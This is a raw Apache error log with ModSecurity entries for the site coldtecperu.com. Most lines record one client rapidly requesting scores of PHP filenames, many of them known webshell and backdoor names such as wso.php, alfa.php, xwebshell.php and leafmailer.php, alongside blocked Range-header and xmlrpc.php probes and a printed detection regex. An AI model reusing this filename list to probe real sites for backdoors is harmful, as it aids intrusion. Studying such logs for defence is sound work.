"WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/"] [unique_id "aPZ0T6U9d18jeBTFV7RLygAAAFA"] [Mon Oct 20 12:41:36.010123 2025] [:error] [pid 23435:tid 23487] [client 132.191.1.192:47578] [client 132.191.1.192] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-307199"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/"] [unique_id "aPZ0UHfV2Q2Lcvnu0roMuQAAAIQ"] [Mon Oct 20 12:41:36.130340 2025] [:error] [pid 23435:tid 23510] [client 132.191.1.192:47580] [client 132.191.1.192] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-307199"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/"] [unique_id "aPZ0UHfV2Q2Lcvnu0roMugAAAJM"] [Mon Oct 20 12:41:51.805777 2025] [:error] [pid 23759:tid 23779] [client 69.171.231.4:47588] [client 69.171.231.4] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aPZ0X0SMSxP1wHKiETCWKQAAANI"] [Mon Oct 20 23:18:52.330936 2025] [:error] [pid 23560:tid 23615] [client 49.149.77.135:35600] [client 49.149.77.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x3dc9b6e4de found within XML: metaWeblog.newPost18903989039title0x3dc9b6e4description0x3dc9b6e4mt_keywords0x3dc9b6e4mt_excerpt0x3dc9b6e41"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aPcJrE8nknbFrCYDPGgogwAAAJA"] [Tue Oct 21 00:51:21.700956 2025] [:error] [pid 23559:tid 23579] [client 45.149.173.195:38182] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Oct 21 03:20:41.930180 2025] [:error] [pid 23458:tid 23466] [client 103.75.187.239:41904] File does not exist: /home/coldtecp/public_html/functions-helper.php, referer: http://coldtecperu.com [Tue Oct 21 10:17:11.227634 2025] [:error] [pid 23062:tid 23098] [client 193.19.109.209:51622] File does not exist: /home/coldtecp/public_html/wp-atom.php [Tue Oct 21 10:17:13.147529 2025] [:error] [pid 23061:tid 23080] [client 193.19.109.209:51628] File does not exist: /home/coldtecp/public_html/file.php [Tue Oct 21 10:17:13.836440 2025] [:error] [pid 23458:tid 23463] [client 193.19.109.209:51630] File does not exist: /home/coldtecp/public_html/about.php [Tue Oct 21 10:17:15.123138 2025] [:error] [pid 23062:tid 23108] [client 193.19.109.209:51636] File does not exist: /home/coldtecp/public_html/we.php [Tue Oct 21 10:17:16.339756 2025] [:error] [pid 23062:tid 23117] [client 193.19.109.209:51644] File does not exist: /home/coldtecp/public_html/1.php [Tue Oct 21 10:17:18.135478 2025] [:error] [pid 23062:tid 23107] [client 193.19.109.209:51648] File does not exist: /home/coldtecp/public_html/akcc.php [Tue Oct 21 10:17:19.434916 2025] [:error] [pid 23062:tid 23111] [client 193.19.109.209:51650] File does not exist: /home/coldtecp/public_html/87.php [Tue Oct 21 10:17:20.131591 2025] [:error] [pid 23062:tid 23113] [client 193.19.109.209:51652] File does not exist: /home/coldtecp/public_html/ENKI.php [Tue Oct 21 10:17:23.149717 2025] [:error] [pid 23458:tid 23471] [client 193.19.109.209:51662] File does not exist: /home/coldtecp/public_html/xwebshell.php [Tue Oct 21 10:17:23.736779 2025] [:error] [pid 23062:tid 23104] [client 193.19.109.209:51664] File does not exist: /home/coldtecp/public_html/wpx.php [Tue Oct 21 10:17:25.324121 2025] [:error] [pid 23458:tid 23474] [client 193.19.109.209:51670] File does not exist: /home/coldtecp/public_html/asu.php [Tue Oct 21 10:17:26.535083 2025] [:error] [pid 23458:tid 23477] [client 193.19.109.209:51672] File does not exist: /home/coldtecp/public_html/dev.php [Tue Oct 21 10:17:28.497291 2025] [:error] [pid 23458:tid 23479] [client 193.19.109.209:51676] File does not exist: /home/coldtecp/public_html/content.php [Tue Oct 21 10:17:29.615669 2025] [:error] [pid 23458:tid 23482] [client 193.19.109.209:51680] File does not exist: /home/coldtecp/public_html/admin.php [Tue Oct 21 10:17:30.721410 2025] [:error] [pid 23458:tid 23462] [client 193.19.109.209:51684] File does not exist: /home/coldtecp/public_html/404.php [Tue Oct 21 10:17:32.334984 2025] [:error] [pid 23458:tid 23467] [client 193.19.109.209:51690] File does not exist: /home/coldtecp/public_html/filemanager.php [Tue Oct 21 10:17:37.443761 2025] [:error] [pid 23458:tid 23478] [client 193.19.109.209:51712] File does not exist: /home/coldtecp/public_html/cong.php [Tue Oct 21 10:17:37.743635 2025] [:error] [pid 23063:tid 23139] [client 193.19.109.209:51714] File does not exist: /home/coldtecp/public_html/dropdown.php [Tue Oct 21 10:17:38.426128 2025] [:error] [pid 23062:tid 23105] [client 193.19.109.209:51716] File does not exist: /home/coldtecp/public_html/wso.php [Tue Oct 21 10:17:39.116748 2025] [:error] [pid 23061:tid 23076] [client 193.19.109.209:51718] File does not exist: /home/coldtecp/public_html/byp.php [Tue Oct 21 10:17:41.816572 2025] [:error] [pid 23458:tid 23461] [client 193.19.109.209:51726] File does not exist: /home/coldtecp/public_html/post.php [Tue Oct 21 10:17:43.043550 2025] [:error] [pid 23061:tid 23079] [client 193.19.109.209:51728] File does not exist: /home/coldtecp/public_html/license.php [Tue Oct 21 10:17:44.928487 2025] [:error] [pid 23458:tid 23460] [client 193.19.109.209:51732] File does not exist: /home/coldtecp/public_html/default.php [Tue Oct 21 10:17:47.116196 2025] [:error] [pid 23063:tid 23127] [client 193.19.109.209:51734] File does not exist: /home/coldtecp/public_html/ws.php [Tue Oct 21 10:17:48.547309 2025] [:error] [pid 23063:tid 23130] [client 193.19.109.209:51738] File does not exist: /home/coldtecp/public_html/wp.php [Tue Oct 21 10:17:49.135168 2025] [:error] [pid 23458:tid 23466] [client 193.19.109.209:51742] File does not exist: /home/coldtecp/public_html/classwithtostring.php [Tue Oct 21 10:17:50.424855 2025] [:error] [pid 23063:tid 23120] [client 193.19.109.209:51746] File does not exist: /home/coldtecp/public_html/wp-header.php [Tue Oct 21 10:17:50.814800 2025] [:error] [pid 23063:tid 23121] [client 193.19.109.209:51748] File does not exist: /home/coldtecp/public_html/403.php [Tue Oct 21 10:17:53.627659 2025] [:error] [pid 23458:tid 23477] [client 193.19.109.209:51762] File does not exist: /home/coldtecp/public_html/worksec.php [Tue Oct 21 10:17:55.324737 2025] [:error] [pid 23061:tid 23091] [client 193.19.109.209:51768] File does not exist: /home/coldtecp/public_html/wp-2019.php [Tue Oct 21 10:17:55.925156 2025] [:error] [pid 23062:tid 23101] [client 193.19.109.209:51770] File does not exist: /home/coldtecp/public_html/wp-file.php [Tue Oct 21 10:17:56.424330 2025] [:error] [pid 23061:tid 23086] [client 193.19.109.209:51772] File does not exist: /home/coldtecp/public_html/gg.php [Tue Oct 21 10:17:57.622626 2025] [:error] [pid 23063:tid 23122] [client 193.19.109.209:51778] File does not exist: /home/coldtecp/public_html/config.php [Tue Oct 21 10:17:58.024256 2025] [:error] [pid 23062:tid 23103] [client 193.19.109.209:51780] File does not exist: /home/coldtecp/public_html/bypass.php [Tue Oct 21 10:17:58.526790 2025] [:error] [pid 23458:tid 23479] [client 193.19.109.209:51782] File does not exist: /home/coldtecp/public_html/inputs.php [Tue Oct 21 10:17:59.713201 2025] [:error] [pid 23458:tid 23480] [client 193.19.109.209:51786] File does not exist: /home/coldtecp/public_html/lock360.php [Tue Oct 21 10:18:01.024638 2025] [:error] [pid 23063:tid 23131] [client 193.19.109.209:51790] File does not exist: /home/coldtecp/public_html/goods.php [Tue Oct 21 10:18:01.918335 2025] [:error] [pid 23063:tid 23134] [client 193.19.109.209:51794] File does not exist: /home/coldtecp/public_html/doc.php [Tue Oct 21 10:18:02.424813 2025] [:error] [pid 23061:tid 23070] [client 193.19.109.209:51796] File does not exist: /home/coldtecp/public_html/wp-login.php [Tue Oct 21 10:18:03.321227 2025] [:error] [pid 23458:tid 23482] [client 193.19.109.209:51800] File does not exist: /home/coldtecp/public_html/shell.php [Tue Oct 21 10:18:03.801258 2025] [:error] [pid 23062:tid 23112] [client 193.19.109.209:51802] File does not exist: /home/coldtecp/public_html/elp.php [Tue Oct 21 10:18:06.938844 2025] [:error] [pid 23458:tid 23481] [client 193.19.109.209:51822] File does not exist: /home/coldtecp/public_html/m.php [Tue Oct 21 10:18:07.227908 2025] [:error] [pid 23458:tid 23465] [client 193.19.109.209:51826] File does not exist: /home/coldtecp/public_html/chosen.php [Tue Oct 21 10:18:07.900415 2025] [:error] [pid 23458:tid 23467] [client 193.19.109.209:51828] File does not exist: /home/coldtecp/public_html/mah.php [Tue Oct 21 10:18:09.620898 2025] [:error] [pid 23062:tid 23102] [client 193.19.109.209:51836] File does not exist: /home/coldtecp/public_html/themes.php [Tue Oct 21 10:18:10.023176 2025] [:error] [pid 23458:tid 23469] [client 193.19.109.209:51838] File does not exist: /home/coldtecp/public_html/tiny.php [Tue Oct 21 10:18:11.117817 2025] [:error] [pid 23458:tid 23475] [client 193.19.109.209:51846] File does not exist: /home/coldtecp/public_html/ty.php [Tue Oct 21 10:18:12.419154 2025] [:error] [pid 23061:tid 23082] [client 193.19.109.209:51852] File does not exist: /home/coldtecp/public_html/wp-conflg.php [Tue Oct 21 10:18:13.008818 2025] [:error] [pid 23061:tid 23080] [client 193.19.109.209:51854] File does not exist: /home/coldtecp/public_html/wp-configs.php [Tue Oct 21 10:18:15.413268 2025] [:error] [pid 23061:tid 23084] [client 193.19.109.209:51868] File does not exist: /home/coldtecp/public_html/a.php [Tue Oct 21 10:18:16.115698 2025] [:error] [pid 23061:tid 23068] [client 193.19.109.209:51874] File does not exist: /home/coldtecp/public_html/data.php [Tue Oct 21 10:18:16.421010 2025] [:error] [pid 23063:tid 23136] [client 193.19.109.209:51876] File does not exist: /home/coldtecp/public_html/edit.php [Tue Oct 21 10:18:20.813871 2025] [:error] [pid 23458:tid 23481] [client 193.19.109.209:51892] File does not exist: /home/coldtecp/public_html/x.php [Tue Oct 21 10:18:26.299622 2025] [:error] [pid 23458:tid 23473] [client 193.19.109.209:51908] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Oct 21 10:18:26.911278 2025] [:error] [pid 23458:tid 23480] [client 193.19.109.209:51912] File does not exist: /home/coldtecp/public_html/fm.php [Tue Oct 21 10:18:37.127860 2025] [:error] [pid 23061:tid 23087] [client 193.19.109.209:51942] File does not exist: /home/coldtecp/public_html/autoload_classmap.php [Tue Oct 21 10:18:38.118518 2025] [:error] [pid 23458:tid 23477] [client 193.19.109.209:51946] File does not exist: /home/coldtecp/public_html/class.php [Tue Oct 21 10:18:39.100681 2025] [:error] [pid 23063:tid 23126] [client 193.19.109.209:51950] File does not exist: /home/coldtecp/public_html/wp-mail.php [Tue Oct 21 10:18:39.526850 2025] [:error] [pid 23063:tid 23129] [client 193.19.109.209:51952] File does not exist: /home/coldtecp/public_html/ab.php [Tue Oct 21 10:18:39.924001 2025] [:error] [pid 23061:tid 23086] [client 193.19.109.209:51954] File does not exist: /home/coldtecp/public_html/hi.php [Tue Oct 21 10:18:45.408419 2025] [:error] [pid 23062:tid 23108] [client 193.19.109.209:51966] File does not exist: /home/coldtecp/public_html/item.php [Tue Oct 21 10:18:47.723128 2025] [:error] [pid 23458:tid 23460] [client 193.19.109.209:51970] File does not exist: /home/coldtecp/public_html/radio.php [Tue Oct 21 10:18:48.018716 2025] [:error] [pid 23458:tid 23482] [client 193.19.109.209:51972] File does not exist: /home/coldtecp/public_html/k.php [Tue Oct 21 10:18:49.017186 2025] [:error] [pid 23458:tid 23465] [client 193.19.109.209:51976] File does not exist: /home/coldtecp/public_html/system.php [Tue Oct 21 10:18:50.019019 2025] [:error] [pid 23458:tid 23470] [client 193.19.109.209:51982] File does not exist: /home/coldtecp/public_html/simple.php [Tue Oct 21 10:18:50.321887 2025] [:error] [pid 23458:tid 23469] [client 193.19.109.209:51984] File does not exist: /home/coldtecp/public_html/w.php [Tue Oct 21 10:18:50.723378 2025] [:error] [pid 23062:tid 23116] [client 193.19.109.209:51986] File does not exist: /home/coldtecp/public_html/zwso.php [Tue Oct 21 10:18:51.025064 2025] [:error] [pid 23062:tid 23117] [client 193.19.109.209:51988] File does not exist: /home/coldtecp/public_html/aa.php [Tue Oct 21 10:18:51.822979 2025] [:error] [pid 23062:tid 23111] [client 193.19.109.209:51992] File does not exist: /home/coldtecp/public_html/index2.php [Tue Oct 21 10:18:52.121546 2025] [:error] [pid 23062:tid 23113] [client 193.19.109.209:51994] File does not exist: /home/coldtecp/public_html/ini.php [Tue Oct 21 10:18:53.020004 2025] [:error] [pid 23062:tid 23104] [client 193.19.109.209:51998] File does not exist: /home/coldtecp/public_html/style.php [Tue Oct 21 10:18:55.021665 2025] [:error] [pid 23458:tid 23472] [client 193.19.109.209:52006] File does not exist: /home/coldtecp/public_html/yasnu.php [Tue Oct 21 10:18:55.524262 2025] [:error] [pid 23458:tid 23480] [client 193.19.109.209:52008] File does not exist: /home/coldtecp/public_html/file2.php [Tue Oct 21 10:18:56.623480 2025] [:error] [pid 23062:tid 23097] [client 193.19.109.209:52012] File does not exist: /home/coldtecp/public_html/version.php [Tue Oct 21 10:18:56.928385 2025] [:error] [pid 23062:tid 23096] [client 193.19.109.209:52014] File does not exist: /home/coldtecp/public_html/wp-config-sample.php [Tue Oct 21 10:18:57.724858 2025] [:error] [pid 23062:tid 23099] [client 193.19.109.209:52016] File does not exist: /home/coldtecp/public_html/mini.php [Tue Oct 21 10:18:58.419745 2025] [:error] [pid 23062:tid 23101] [client 193.19.109.209:52018] File does not exist: /home/coldtecp/public_html/ss.php [Tue Oct 21 10:18:58.916083 2025] [:error] [pid 23063:tid 23128] [client 193.19.109.209:52020] File does not exist: /home/coldtecp/public_html/v.php [Tue Oct 21 10:19:01.416065 2025] [:error] [pid 23458:tid 23484] [client 193.19.109.209:52026] File does not exist: /home/coldtecp/public_html/f.php [Tue Oct 21 10:19:02.035918 2025] [:error] [pid 23062:tid 23112] [client 193.19.109.209:52028] File does not exist: /home/coldtecp/public_html/wp-Owl.php [Tue Oct 21 10:19:07.504475 2025] [:error] [pid 23458:tid 23464] [client 193.19.109.209:52038] File does not exist: /home/coldtecp/public_html/uploaded_script.php [Tue Oct 21 10:19:09.404862 2025] [:error] [pid 23061:tid 23067] [client 193.19.109.209:52044] File does not exist: /home/coldtecp/public_html/adminfuns.php [Tue Oct 21 10:19:10.421901 2025] [:error] [pid 23061:tid 23070] [client 193.19.109.209:52048] File does not exist: /home/coldtecp/public_html/av.php [Tue Oct 21 10:19:10.923174 2025] [:error] [pid 23061:tid 23074] [client 193.19.109.209:52050] File does not exist: /home/coldtecp/public_html/readme.php [Tue Oct 21 10:19:11.424313 2025] [:error] [pid 23061:tid 23078] [client 193.19.109.209:52054] File does not exist: /home/coldtecp/public_html/manager.php [Tue Oct 21 10:19:12.515712 2025] [:error] [pid 23458:tid 23471] [client 193.19.109.209:52058] File does not exist: /home/coldtecp/public_html/xc.php [Tue Oct 21 10:19:13.922123 2025] [:error] [pid 23062:tid 23109] [client 193.19.109.209:52062] File does not exist: /home/coldtecp/public_html/ge.php [Tue Oct 21 10:19:18.522585 2025] [:error] [pid 23458:tid 23477] [client 193.19.109.209:52076] File does not exist: /home/coldtecp/public_html/user.php [Tue Oct 21 10:19:19.313938 2025] [:error] [pid 23458:tid 23476] [client 193.19.109.209:52078] File does not exist: /home/coldtecp/public_html/wsa.php [Tue Oct 21 10:19:20.319209 2025] [:error] [pid 23458:tid 23478] [client 193.19.109.209:52080] File does not exist: /home/coldtecp/public_html/layout.php [Tue Oct 21 10:19:22.222605 2025] [:error] [pid 23061:tid 23085] [client 193.19.109.209:52086] File does not exist: /home/coldtecp/public_html/core.php [Tue Oct 21 10:19:23.224837 2025] [:error] [pid 23061:tid 23089] [client 193.19.109.209:52088] File does not exist: /home/coldtecp/public_html/xml.php [Tue Oct 21 10:19:23.627775 2025] [:error] [pid 23063:tid 23123] [client 193.19.109.209:52090] File does not exist: /home/coldtecp/public_html/index.php [Tue Oct 21 10:19:24.727679 2025] [:error] [pid 23458:tid 23482] [client 193.19.109.209:52094] File does not exist: /home/coldtecp/public_html/ans.php [Tue Oct 21 10:19:26.524807 2025] [:error] [pid 23063:tid 23124] [client 193.19.109.209:52100] File does not exist: /home/coldtecp/public_html/b.php [Tue Oct 21 10:19:27.915422 2025] [:error] [pid 23063:tid 23132] [client 193.19.109.209:52104] File does not exist: /home/coldtecp/public_html/qfunctions.php [Tue Oct 21 10:19:28.504595 2025] [:error] [pid 23063:tid 23140] [client 193.19.109.209:52106] File does not exist: /home/coldtecp/public_html/f35.php [Tue Oct 21 10:19:30.627948 2025] [:error] [pid 23063:tid 23139] [client 193.19.109.209:52110] File does not exist: /home/coldtecp/public_html/buy.php [Tue Oct 21 10:19:31.124990 2025] [:error] [pid 23061:tid 23088] [client 193.19.109.209:52112] File does not exist: /home/coldtecp/public_html/load.php [Tue Oct 21 10:19:33.118279 2025] [:error] [pid 23061:tid 23080] [client 193.19.109.209:52116] File does not exist: /home/coldtecp/public_html/nope.php [Tue Oct 21 10:19:34.420004 2025] [:error] [pid 23061:tid 23084] [client 193.19.109.209:52120] File does not exist: /home/coldtecp/public_html/wp-content.php [Tue Oct 21 10:19:35.113929 2025] [:error] [pid 23061:tid 23077] [client 193.19.109.209:52122] File does not exist: /home/coldtecp/public_html/gecko.php [Tue Oct 21 10:19:37.616555 2025] [:error] [pid 23061:tid 23076] [client 193.19.109.209:52128] File does not exist: /home/coldtecp/public_html/504.php 2025/10/21 10:19:38 [error] 23024#23024: *2888180 directory index of "/usr/local/apache/autossl_tmp/.well-known/acme-challenge/" is forbidden, client: 193.19.109.209, server: coldtecperu.com, request: "GET /.well-known/acme-challenge/ HTTP/1.1", host: "coldtecperu.com" [Tue Oct 21 10:19:39.999813 2025] [:error] [pid 23061:tid 23079] [client 193.19.109.209:52132] File does not exist: /home/coldtecp/public_html/log.php [Tue Oct 21 10:19:40.619088 2025] [:error] [pid 23063:tid 23125] [client 193.19.109.209:52134] File does not exist: /home/coldtecp/public_html/as.php [Tue Oct 21 10:19:41.119101 2025] [:error] [pid 23063:tid 23127] [client 193.19.109.209:52136] File does not exist: /home/coldtecp/public_html/class.api.php [Tue Oct 21 10:19:41.621715 2025] [:error] [pid 23063:tid 23130] [client 193.19.109.209:52138] File does not exist: /home/coldtecp/public_html/ad.php [Tue Oct 21 10:19:42.310896 2025] [:error] [pid 23063:tid 23120] [client 193.19.109.209:52140] File does not exist: /home/coldtecp/public_html/sim.php [Tue Oct 21 10:19:43.414455 2025] [:error] [pid 23061:tid 23083] [client 193.19.109.209:52142] File does not exist: /home/coldtecp/public_html/g.php [Tue Oct 21 10:19:46.118201 2025] [:error] [pid 23062:tid 23095] [client 193.19.109.209:52148] File does not exist: /home/coldtecp/public_html/alfa.php [Tue Oct 21 10:19:49.024995 2025] [:error] [pid 23061:tid 23087] [client 193.19.109.209:52156] File does not exist: /home/coldtecp/public_html/ja.php [Tue Oct 21 10:20:03.015098 2025] [:error] [pid 23061:tid 23075] [client 193.19.109.209:52172] File does not exist: /home/coldtecp/public_html/system_log.php [Tue Oct 21 10:20:05.400680 2025] [:error] [pid 23458:tid 23474] [client 193.19.109.209:52174] File does not exist: /home/coldtecp/public_html/fie.php [Tue Oct 21 10:20:07.119165 2025] [:error] [pid 23063:tid 23131] [client 193.19.109.209:52180] File does not exist: /home/coldtecp/public_html/users.php [Tue Oct 21 10:20:08.613806 2025] [:error] [pid 23063:tid 23134] [client 193.19.109.209:52182] File does not exist: /home/coldtecp/public_html/wp-activate.php [Tue Oct 21 10:20:09.705361 2025] [:error] [pid 23061:tid 23070] [client 193.19.109.209:52184] File does not exist: /home/coldtecp/public_html/asasx.php [Tue Oct 21 10:20:10.525508 2025] [:error] [pid 23061:tid 23074] [client 193.19.109.209:52186] File does not exist: /home/coldtecp/public_html/leafmailer.php [Tue Oct 21 10:20:11.126515 2025] [:error] [pid 23061:tid 23079] [client 193.19.109.209:52190] File does not exist: /home/coldtecp/public_html/sts.php [Tue Oct 21 10:20:11.624195 2025] [:error] [pid 23061:tid 23083] [client 193.19.109.209:52194] File does not exist: /home/coldtecp/public_html/back.php [Tue Oct 21 10:20:12.325175 2025] [:error] [pid 23458:tid 23477] [client 193.19.109.209:52196] File does not exist: /home/coldtecp/public_html/leafmailer2.8.php [Tue Oct 21 10:20:13.721337 2025] [:error] [pid 23063:tid 23136] [client 193.19.109.209:52202] File does not exist: /home/coldtecp/public_html/wp-links.php [Tue Oct 21 10:20:14.500435 2025] [:error] [pid 23063:tid 23139] [client 193.19.109.209:52208] File does not exist: /home/coldtecp/public_html/inc.php [Tue Oct 21 10:20:15.421356 2025] [:error] [pid 23062:tid 23094] [client 193.19.109.209:52210] File does not exist: /home/coldtecp/public_html/webdb.php [Tue Oct 21 10:20:18.018293 2025] [:error] [pid 23062:tid 23114] [client 193.19.109.209:52220] File does not exist: /home/coldtecp/public_html/error.php [Tue Oct 21 10:20:18.724817 2025] [:error] [pid 23061:tid 23082] [client 193.19.109.209:52222] File does not exist: /home/coldtecp/public_html/options.php [Tue Oct 21 10:20:20.195618 2025] [:error] [pid 23063:tid 23126] [client 193.19.109.209:52226] File does not exist: /home/coldtecp/public_html/ms-themes.php [Tue Oct 21 10:20:21.019417 2025] [:error] [pid 23458:tid 23479] [client 193.19.109.209:52228] File does not exist: /home/coldtecp/public_html/leaf.php [Tue Oct 21 10:20:21.614274 2025] [:error] [pid 23458:tid 23461] [client 193.19.109.209:52230] File does not exist: /home/coldtecp/public_html/jindex.php [Tue Oct 21 10:20:22.113916 2025] [:error] [pid 23458:tid 23460] [client 193.19.109.209:52232] File does not exist: /home/coldtecp/public_html/bless.php [Tue Oct 21 10:20:22.805531 2025] [:error] [pid 23458:tid 23482] [client 193.19.109.209:52234] File does not exist: /home/coldtecp/public_html/function.php [Tue Oct 21 10:20:24.617554 2025] [:error] [pid 23063:tid 23119] [client 193.19.109.209:52238] File does not exist: /home/coldtecp/public_html/wp-l0gin.php [Tue Oct 21 10:20:25.715240 2025] [:error] [pid 23063:tid 23123] [client 193.19.109.209:52242] File does not exist: /home/coldtecp/public_html/moderation.php [Tue Oct 21 10:20:34.323393 2025] [:error] [pid 23061:tid 23073] [client 193.19.109.209:52256] File does not exist: /home/coldtecp/public_html/epinyins.php [Tue Oct 21 10:20:35.198351 2025] [:error] [pid 23061:tid 23084] [client 193.19.109.209:52258] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/admin.php [Tue Oct 21 10:20:40.713111 2025] [:error] [pid 23061:tid 23085] [client 193.19.109.209:52276] File does not exist: /home/coldtecp/public_html/xleet.php [Tue Oct 21 10:20:41.697720 2025] [:error] [pid 23061:tid 23091] [client 193.19.109.209:52280] File does not exist: /home/coldtecp/public_html/dz.php [Tue Oct 21 10:20:42.020220 2025] [:error] [pid 23062:tid 23107] [client 193.19.109.209:52282] File does not exist: /home/coldtecp/public_html/install.php [Tue Oct 21 10:20:43.601683 2025] [:error] [pid 23061:tid 23069] [client 193.19.109.209:52286] File does not exist: /home/coldtecp/public_html/mail.php [Tue Oct 21 10:20:46.719225 2025] [:error] [pid 23458:tid 23469] [client 193.19.109.209:52294] File does not exist: /home/coldtecp/public_html/wp-info.php [Tue Oct 21 10:20:48.208659 2025] [:error] [pid 23458:tid 23473] [client 193.19.109.209:52298] File does not exist: /home/coldtecp/public_html/menu.php [Tue Oct 21 10:20:49.619788 2025] [:error] [pid 23458:tid 23472] [client 193.19.109.209:52302] File does not exist: /home/coldtecp/public_html/text.php [Tue Oct 21 10:20:49.912135 2025] [:error] [pid 23458:tid 23480] [client 193.19.109.209:52304] File does not exist: /home/coldtecp/public_html/2.php [Tue Oct 21 10:20:53.315954 2025] [:error] [pid 23062:tid 23113] [client 193.19.109.209:52314] File does not exist: /home/coldtecp/public_html/s.php [Tue Oct 21 10:20:54.301292 2025] [:error] [pid 23458:tid 23463] [client 193.19.109.209:52316] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/about.php [Tue Oct 21 10:20:54.608504 2025] [:error] [pid 23062:tid 23115] [client 193.19.109.209:52318] File does not exist: /home/coldtecp/public_html/plugins.php [Tue Oct 21 10:20:57.418327 2025] [:error] [pid 23062:tid 23103] [client 193.19.109.209:52332] File does not exist: /home/coldtecp/public_html/db.php [Tue Oct 21 10:20:58.412755 2025] [:error] [pid 23062:tid 23106] [client 193.19.109.209:52336] File does not exist: /home/coldtecp/public_html/moon.php [Tue Oct 21 10:20:59.517994 2025] [:error] [pid 23061:tid 23075] [client 193.19.109.209:52342] File does not exist: /home/coldtecp/public_html/copypaths.php [Tue Oct 21 10:20:59.909184 2025] [:error] [pid 23061:tid 23070] [client 193.19.109.209:52344] File does not exist: /home/coldtecp/public_html/plugin.php [Tue Oct 21 10:21:00.924010 2025] [:error] [pid 23061:tid 23079] [client 193.19.109.209:52348] File does not exist: /home/coldtecp/public_html/web.php [Tue Oct 21 10:21:01.599013 2025] [:error] [pid 23061:tid 23083] [client 193.19.109.209:52350] File does not exist: /home/coldtecp/public_html/new.php [Tue Oct 21 10:21:03.516998 2025] [:error] [pid 23061:tid 23088] [client 193.19.109.209:52356] File does not exist: /home/coldtecp/public_html/file5.php [Tue Oct 21 10:21:04.516490 2025] [:error] [pid 23061:tid 23080] [client 193.19.109.209:52360] File does not exist: /home/coldtecp/public_html/ioxi-o.php [Tue Oct 21 10:21:05.523125 2025] [:error] [pid 23062:tid 23109] [client 193.19.109.209:52364] File does not exist: /home/coldtecp/public_html/u.php [Tue Oct 21 10:21:06.717657 2025] [:error] [pid 23458:tid 23467] [client 193.19.109.209:52372] File does not exist: /home/coldtecp/public_html/zex.php [Tue Oct 21 10:21:08.708362 2025] [:error] [pid 23458:tid 23473] [client 193.19.109.209:52384] File does not exist: /home/coldtecp/public_html/bak.php [Tue Oct 21 10:21:10.399188 2025] [:error] [pid 23458:tid 23480] [client 193.19.109.209:52388] File does not exist: /home/coldtecp/public_html/past.php [Tue Oct 21 10:21:11.103544 2025] [:error] [pid 23458:tid 23483] [client 193.19.109.209:52390] File does not exist: /home/coldtecp/public_html/wp-signin.php [Tue Oct 21 10:21:12.608748 2025] [:error] [pid 23061:tid 23077] [client 193.19.109.209:52400] File does not exist: /home/coldtecp/public_html/13.php [Tue Oct 21 10:21:13.303288 2025] [:error] [pid 23063:tid 23141] [client 193.19.109.209:52404] File does not exist: /home/coldtecp/public_html/cc.php [Tue Oct 21 10:21:15.118832 2025] [:error] [pid 23062:tid 23100] [client 193.19.109.209:52412] File does not exist: /home/coldtecp/public_html/he.php [Tue Oct 21 10:21:15.417834 2025] [:error] [pid 23458:tid 23466] [client 193.19.109.209:52414] File does not exist: /home/coldtecp/public_html/jp.php [Tue Oct 21 10:21:22.519466 2025] [:error] [pid 23061:tid 23087] [client 193.19.109.209:52426] File does not exist: /home/coldtecp/public_html/xx.php [Tue Oct 21 10:21:31.804207 2025] [:error] [pid 23458:tid 23471] [client 193.19.109.209:52438] File does not exist: /home/coldtecp/public_html/contact.php [Tue Oct 21 10:21:33.095289 2025] [:error] [pid 23458:tid 23474] [client 193.19.109.209:52440] File does not exist: /home/coldtecp/public_html/link.php [Tue Oct 21 10:21:38.116067 2025] [:error] [pid 23062:tid 23093] [client 193.19.109.209:52450] File does not exist: /home/coldtecp/public_html/wp-admin.php [Tue Oct 21 10:21:42.689790 2025] [:error] [pid 23061:tid 23090] [client 193.19.109.209:52464] File does not exist: /home/coldtecp/public_html/motu.php [Tue Oct 21 10:21:45.708843 2025] [:error] [pid 23061:tid 23075] [client 193.19.109.209:52474] File does not exist: /home/coldtecp/public_html/7b3658dfc7.php [Tue Oct 21 10:21:46.296981 2025] [:error] [pid 23061:tid 23070] 